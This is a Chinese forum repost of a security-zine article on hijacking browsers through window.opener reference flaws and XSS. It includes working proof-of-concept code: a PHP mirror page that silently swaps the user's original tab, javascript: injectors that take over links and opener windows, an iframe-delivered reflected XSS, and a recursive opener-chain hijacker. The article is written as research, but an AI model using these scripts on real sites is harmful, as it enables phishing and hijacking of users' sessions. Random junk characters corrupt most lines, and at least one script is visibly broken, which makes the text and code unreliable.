找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2178|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==9 x- t) r7 c1 e0 u5 f

# _0 Z) q( Z2 I; d                       Issue 0x03, Phile #0x05 of 0x07
- `% C+ |& m/ |) U4 R' Q; L! r" k+ R8 a
* H- p2 Z7 p3 _/ ^0 o
( [7 L6 X7 U- w/ n|=---------------------------------------------------------------------------=|
" q& v+ C  |3 Q* j! I1 p# s  C7 S|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|) |1 P; A- T/ [8 Z. i& h8 E$ @
|=---------------------------------------------------------------------------=|" [( \9 S( l8 T( a0 h1 {2 [
|=---------------------------------------------------------------------------=|
+ e4 T/ C1 e: F|=------------------------=[      By rayh4c     ]=---------------------------=|
! j, Y8 X- t; C; Z! J' H1 p& G% \1 W|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|2 f  g& M; r5 \# X6 g" H8 w+ h
|=---------------------------------------------------------------------------=|
7 G- ^# ]8 e! o4 K. c3 Q" _" n
0 Z9 b" h& O+ q! i& ^' ^  E5 q5 Y& K( G' Y$ @
[目录]" F/ K6 n" C: V
) Z; J' s( b+ }) I) `
1. 前言/ W. t9 o# {( g' ]! P+ K6 {& m
2. 同源策略简叙1 ^) k9 m7 w! M6 ]1 }
3. 理解window对象的同源策略
; ?3 k- i4 ~5 h* A* N8 {4. 窗口引用功能中的同源策略漏洞
6 h1 \9 T* i. J8 W) Y* k  4.1 父窗口引用子窗口的同源策略问题
4 m8 I7 `. Q1 g8 l2 E! m* Q$ e  4.2 子窗口引用父窗口的同源策略问题8 l- S/ {* v+ Y+ g
5. 利用窗口引用漏洞劫持浏览器" |5 P* p% o- V- _+ @) T2 B! R& R
6. 利用XSS漏洞劫持浏览器  K$ F0 H! J! Y' Y' S( E0 W
  6.1 正向跨窗口劫持
) j" U# N; S$ e  6.2 反向跨窗口劫持3 r1 u/ a, R% t# v" j6 n
  6.3 极度危险的跨框架窗口引用劫持: h8 I& P/ p( |7 R/ ~7 d# U- T
  6.4 极度危险的正反向跨窗口递归劫持
- x4 I/ P1 T) E. y3 h+ b& c+ V3 _& {  6.5 完全控制浏览器& W& _1 Y1 f3 u5 A* W+ J$ ^, A: k" T
7. 后记6 S6 E6 V6 @9 ~+ ]7 ]
8. 参考' g8 v0 [  x0 P3 }3 B
/ f+ s, _1 a" M. f5 a- H6 ^  D

3 O. p0 m2 B9 K7 Q# L5 ^  Q一、前言" U% q# ]$ k" p" M- s4 u

% c% O+ Z* B7 T; }0 h7 H    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
1 N) f. r/ X$ V$ |" E% g友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session1 C6 v7 R3 I" v- y8 N
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被+ \* B$ A2 L. A( j- \! F, H0 Y
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
& I3 v7 M& W  J: K( H$ S1 o3 K4 K$ |! s' K% o

4 y7 w: X& r5 Y( f. [9 V二、同源策略简叙6 U+ s0 |) q5 f* _( Q. Z5 i4 l9 D
: Y: R( ~) }( W' |$ U$ z  z" ~7 f) c( Y
    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
# u( L/ C( @3 _! L+ a: z从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都; k9 M; M  B' X4 E& h# M9 G
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木7 I0 m3 ?* [/ g& K9 ?- R; G: N
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
# O; j1 @1 l& e漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
; _. i* E& V! m5 U0 V" u# Q: h5 \
0 i) [) V3 S8 J5 a
0 d% c3 B  T0 |& V2 S三、理解window对象的同源策略6 V: q- x6 e" k* B5 g1 `
6 @: k, _( h; z! O
    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
. ~3 M1 a) S& L. a& m' T象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
* Y& T3 `8 x7 p# R; U+ M4 i, |# Y
# R. V+ z2 g( o  m1 E  M1 [# m--code-------------------------------------------------------------------------$ I7 x, L/ E' O( Y4 p5 ?! `
<script language="javascript">
) y. x' l. U( {) L; x- p) xfor(p in window) document.write(p+"<br>");
1 u" Q1 C4 ~0 c- x  ~0 k8 N</script>
( r& c5 y8 V4 V4 }' I% r-------------------------------------------------------------------------------+ P# d/ D! @! V) D. l2 Y, C7 S! x$ ^
6 I6 p5 I) q' s+ D; f/ {
    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方/ n- ~- W! [% p, k
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,5 J+ o& r6 ^5 u3 m& C" i! a  D8 e6 X% W
这些属性和方法就必须遵循同源策略。
' Q# O( d6 M* `: v' x
9 j- B; P( J6 n, v    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那& n7 |6 V- |! `* N+ I$ z
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须7 I( t8 R3 V# W, }$ @$ ?
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这  j2 ~" V) [! @' R/ j/ u5 E
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的! v" p8 Z+ Y0 [" c/ ?7 ?+ a6 U( [
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location# H$ }' B, {% v
属性并没有被拒绝访问。1 J; U) G2 d0 t- H% t% N
7 L1 C% w) Y9 @  i
--demo.html--------------------------------------------------------------------
, h1 n+ U' N1 r2 M* R9 f<script language="javascript">   
+ P& ^. @+ |, N: p) P2 b& A4 @- Z- ufunction allPrpos(obj) {        ?) Q$ [1 {5 ?) b. [% ^5 B
      var props = "<table><tr><td>名称</td><td>值</td>";           
  n6 p* c5 c6 ?% f* X$ p# O- E      for(var p in obj){          : v3 ~' r7 o4 F# [
            if(typeof(obj[p])=="function"){   5 D' Q; M9 L0 r% M
                   obj[p]();   4 r# q9 C2 |% u) v% B
             }else{                     
' W" Z1 ]# P" a7 d4 l                  try   
2 n1 F# N7 G% w; K                   {   6 u! t4 ^( `# L# J6 h3 g1 V
                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
& t: n1 h, @7 H' c8 Y                   }   - H4 P  G. r$ H3 \+ [1 Y
                  catch (ex)   
$ v* e" T( M' |  m: D; |, X                   {   
  C& w+ H% L5 K! Y. ]" K                  
2 q8 q. N$ P/ j2 S1 m6 Z                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
, d( W$ c6 ?" {# h  d: m$ X# e: q                   }   6 W4 s+ L1 H0 P4 G- y
                       
7 D2 F8 X& Z' x7 I% f             }   , J( x/ k5 U, r# R& |( ~
       }   
: L  D. m- X! \; j! B* |     @9 j+ Q; g3 Y
       document.write(props+"</table>");   . p( o, r% C1 u# b
}   
! o6 g' ~; o; \. h" x1 L  O9 |4 D- ^   
/ h# t4 J. Z7 u) C: ofunction createWin() {3 a& S* s* R' ]1 e8 Z
        newWin = window.open ("http://www.google.com");  8 f2 W+ E6 l5 ^
        setTimeout(function(){allPrpos(newWin)},2000); % h% {6 q" q! l7 i1 P' F* x
} ( ]4 G  ]8 i& ~  e( E- z

, X3 r0 q  G" Q5 u% Y</script>
; ?0 `, @8 M$ F- G: c% ~# a  a! C' X5 T% T: c, w' d$ A
<button onclick='createWin()'>创建一个非同源子窗口测试</button>) x! q4 \  `; N# G, @9 W" h
-------------------------------------------------------------------------------
' x8 l+ M& S: s5 c' w
) e- P+ S8 I. [8 o
, f1 n2 v. ~3 d7 [9 j四、窗口引用功能中的同源策略漏洞
7 y7 ^5 i% d3 e3 ^2 @3 ]- ^! X8 F( ?. o9 X5 M
4.1 父窗口引用子窗口的同源策略问题
& s( Q9 q+ b3 ^% B% X# f# Z  m) Q# Q5 U% ^1 Z! q. K6 O
    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
$ y: M. r* Q* y. n7 ^但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道& v# ^/ t) C, [! o+ H" r" t# a
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
5 s% ^& Z0 y$ x0 ]" I6 }行测试,会发现父窗口可以控制非同源子窗口location属性值。
) Q" x0 [# ~5 M( d, I$ s
+ {! ~# K: ^1 C( o/ m) p9 n2 G--vul1.html--------------------------------------------------------------------
- x. Y2 A: u9 l' @6 i<script language="javascript"> . \; G7 u: M. E; a- L$ x$ V+ q
function createWin() {  
  t( E) `$ `+ O* e% o2 B, \        newWin = window.open ("http://www.google.com");  ) g/ {2 K. B0 G4 L5 P
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000); 4 x  r  W: C0 C6 j: C: @
}
8 C' F! B: ?+ Z3 Y</script>1 F1 K  `! p7 D+ P# c
, q2 K  X+ z: {; m+ ~7 l
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
5 W' e; Z# u* x1 `0 S-------------------------------------------------------------------------------
. {4 x4 g- ^6 a: A; W4 u1 I( n
5 ]$ S+ w: k0 I) k# C1 w4 u( h" w3 ~
4.2 子窗口引用父窗口的同源策略问题
5 x* n& l9 h* M+ p% C( Z' e* X3 A( k+ S. m4 k
    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
# b6 M) S4 ]; I6 W5 p0 Y) H用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们  p" v% {' Z( G/ N2 |; A. G
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定, P: ^% k8 U4 F  h% e& R" J2 W0 ]
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
7 I* a9 d0 i6 k$ ^$ F; D% d4 Y( a% P/ r( x) T$ j0 h. @$ E6 }. G
--code-------------------------------------------------------------------------/ i2 {6 e" e; X. m: l$ M/ ~
! q' }7 W* R0 h/ X
javascript:window.opener.location = "http://www.80sec.com";void(0);7 p, P$ |3 a3 X3 c# X4 V
% C; `3 v3 E4 E4 t( o: U; o( e! W
-------------------------------------------------------------------------------% d* f( f6 z2 p2 P

' \5 W! [. P9 M% ^. _6 h" ^, }7 A) \, K! @8 R" W
五、利用窗口引用漏洞劫持浏览器% i) l- p3 e+ l# r

. Z; x* k# Y. F( k2 H  n8 G    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子+ p& v% A; p0 u4 E$ I4 l  f
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那" q0 V) A3 e9 a$ T+ D  o. q
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。2 Q' H+ p+ c8 d7 {/ U: _

; y0 l7 m, U2 l, W3 y    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
) P: D/ Z7 c7 g) S# K2 m生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或! i9 T: e% R+ x" l% q7 T
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
0 P5 U, y: Y  _' u: v后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
  }) b' B) H, z9 T$ K: _会产生什么可怕的后果。
) [7 |4 D( M) T# h+ Y. T
* ~9 U# O  d9 Q. ]+ o" @( _5 j    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
  X7 X- E6 q  u3 _! B们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
2 @  E; ]2 B( t: n. n2 B: ~这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时( n% D6 f) ^1 L4 D
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可0 q6 C2 l" ]) a$ W! @( `, n
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
( ^' C8 e, I7 y- e5 w' B4 i0 J5 u& ^/ w) a% N
--hjk_ref.php------------------------------------------------------------------5 k& {4 w3 v" a) a8 L8 q0 Y- o" ~
<?php
' I5 M* r5 Q- M, Eif (array_key_exists("HTTP_REFERER", $_SERVER)) {2 O, _, g8 b4 X  I6 D! U, O) n
$Url_Mirror = $_SERVER["HTTP_REFERER"];
. H  S# T3 H, r7 p3 e}
$ Z! Y# p* c' Q4 O. Hif(isset ($_GET['ref'])) {
% [$ Y1 w, q9 k$ n7 \0 Y/ f' zecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';) |. W7 p% L. D( K
}
8 Q9 F/ h4 E. E( B8 F% c5 t* {?>
7 K+ `% D  H7 o
6 x5 T$ H7 h8 |4 T<script language="javascript">; a$ I: K; v( v: X
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);         , O% i5 t! P3 z* c% k+ _
</script>
  D) ~' o( p) e/ l! w6 x-------------------------------------------------------------------------------' t4 u% a3 c8 |/ ]
- q8 m' F# W4 a. D
    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。! H; q) C# J+ d% n  J' n$ |
& B' |  }. v% x" y) ^" M2 N
3 R  m3 ^& u  X% U* K( R; N. c( D/ b9 @
六、利用XSS漏洞劫持浏览器$ ~3 ~+ A0 ]4 L! @% X9 G
" u# M0 X2 r' e( v" n; a
    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为) p1 ?4 M, ^5 @* C
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后2 r0 L9 F5 x; k- q/ _* D6 l
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起+ y9 t0 Z* H8 v7 v4 X# ]5 G8 u
讨论跨站师的终极技巧:
1 N4 M2 f( c; @0 r! B# S& G/ J! G% e
7 R9 P$ B- n- P, g
6.1 正向跨窗口劫持8 x3 A9 Y. v: G2 f6 W
" q3 d4 z" o$ T) ~  R  j
    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛' A9 G9 k5 @5 b% Z" b) y
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
2 `/ g  @& U7 M. g3 y# l接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话3 u3 q" _! w. m4 P2 ]8 m2 K4 |" m
框脚本。
$ a+ r: t' s5 a" A! X
' _; g5 W1 `2 c  L! p--hijack_open.js---------------------------------------------------------------: S4 L1 x+ U9 l$ m

8 @0 U3 A, _6 ^4 w5 M* Njavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
* O) P4 B2 B! F$ X: ]- N( M
, X) t9 J$ r* o1 w-------------------------------------------------------------------------------3 V! N( b' I! O$ h) X' Q* `

  p/ t# y8 R# _- v; d1 V! @3 X" e- E$ k; M# o% M
6.2 反向跨窗口劫持
+ P5 \# R- H: J/ U
8 n3 _8 I7 @* Q( Y" B# ~2 }9 J    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代4 [$ L: r6 n- J  c
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话2 B6 p0 @" K/ `( T. Y
框脚本。( N' i# [. R- u/ p" `

6 n3 h: N9 e" \9 B7 `--hijack_opener.js-------------------------------------------------------------$ T% v1 ?: a7 _% a! y

: e, Y# N; ]6 ]javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
0 B6 p0 U! y5 E4 n2 R
7 E* l/ @. v5 W* m4 I-------------------------------------------------------------------------------! b6 N$ N0 j( M; {

4 w! g+ K6 _9 }" }* a
( v" ?' u9 @0 W, i5 ~. J# L6.3 极度危险的跨框架窗口引用劫持: X" w; I; V; N5 M
- f( D7 ]3 U# }2 k/ J( W
    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞' Z6 w4 v# T( L
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
# `4 g4 R( _9 @0 M( l' f适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
( M0 i$ D: N9 h7 t% M9 ^& S4 [非持久型的XSS,如下:- H! N$ b1 W- I- J% R; y

  G9 m3 w. F/ v: y" F# b2 ~<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>! ?  C/ |2 s* X) a# K

2 \- X7 ^$ S6 t* Z    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口. u6 q- Y' e) R6 K0 J- Y
注入脚本。
9 u! c/ T9 g7 q3 Z
6 M, r% \" T1 L--hijack_frame_opener.js-------------------------------------------------------/ X7 M7 {9 p' \$ a$ i0 C$ ]: b# W
<script>$ n/ ^, C( D" X" y+ n
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";/ k) I8 E) f9 l2 v. A
</script>
* T( Q4 y* P  f4 `-------------------------------------------------------------------------------
8 G0 r! f( m& Z7 h. h3 X8 Y/ d. O

3 x+ X) e& W. s+ L1 J6.4 极度危险的正反向跨窗口递归劫持- l0 @; e2 Q+ ?. S

5 ?. n7 f- _" h% U& x" @7 {    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window: V! y2 l/ D! d8 S4 n+ X
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过6 x0 b7 _6 u5 J/ d2 r! N5 [3 T
异常处理规避之间跨域页面的访问异常,代码如下:
% E/ \1 i7 f# v+ L* w5 y) y" t. N' [2 Z5 R  ^8 p# ]) P. K/ Z
--code-------------------------------------------------------------------------
& B7 Z" d! f5 O# S+ t+ @0 S& j- F9 h0 d# c" S: T% X* ]# Q/ B
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
$ V! b: W/ k) s9 M; n( x" Y' S- Y7 m% b) Q. M5 r! v8 G/ G
-------------------------------------------------------------------------------( {7 g3 P4 L$ r( m/ y) ~6 `1 j
2 ~! U/ l' d2 {3 Z  ]
    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可4 Q1 ?1 c; u3 I0 f! k) G
以劫持B域之前的A域页面,从而实现“隔空打击”。
$ ^4 \6 ]4 X7 \( u5 B; R& U! _( i4 f* O! o
    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
; m" \% t" f' w, w执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
3 x0 w0 q: P) h
  ^) j& U  n/ W5 i    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
; C8 P& c% N0 Z% x  I: G# D4 R. A
& o+ ?, X& h, G* @1 m4 T' I0 W
  T9 h6 i; S5 i6 `6.5 完全控制浏览器1 s, w$ @; p3 r5 ^4 J0 E8 J: u
, Y9 R8 l9 B# f" O. @
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
3 [# z, @8 r; p2 q8 N$ L* |是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
' C3 C$ n/ L* u# G6 j& g漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
7 B3 u* f6 b* c2 u( R而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再/ }$ O; V: {" E1 ^% @  z1 s
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站& U( P3 n( Q& s1 Z6 I# ~* C
师的终极目标 - 完全控制浏览器。8 W! O8 w0 K" A( B4 Q9 q) K
9 o+ P$ d0 ]: ?4 U
8 R. F$ j! o  P
七、后记
- e8 l, f# G* [4 g$ t
+ B9 z2 _/ R9 l    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全; W0 W+ b/ O4 i8 M3 h4 k2 W
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
" ^9 ^7 ]0 R3 d  ^! d% h过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。: R1 z7 Y, d+ W3 B# a- g* a

& ?) d0 O. q8 B, \5 T9 s8 v3 k0 a" i
# p# D- L0 A- [( z  y0 Z$ e八、参考
" x! B& ?9 k3 P- y) ^$ [
! ?1 q1 F7 C2 ^2 Q' T7 m* H1. http://en.wikipedia.org/wiki/Same_origin_policy3 h: [) l# f7 K  ]$ T6 n0 I. O
2. http://code.google.com/p/browser ... licy_for_DOM_access, n* o) T7 N# Z3 F
3. http://www.w3.org/TR/Window/5 U( t; d9 ]/ s+ ~; }; L6 [
4. http://www.80sec.com/release/browser-hijacking.txt
  V  O8 f  b  u; y! K5. http://www.80sec.com/all-browser-security-alert.html. W, w/ J, e4 e6 G; d
6. http://www.80sec.com/ms08-058-attacks-google.html( t8 g1 s5 `& C' b

  m' D' B, }" y0 b-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表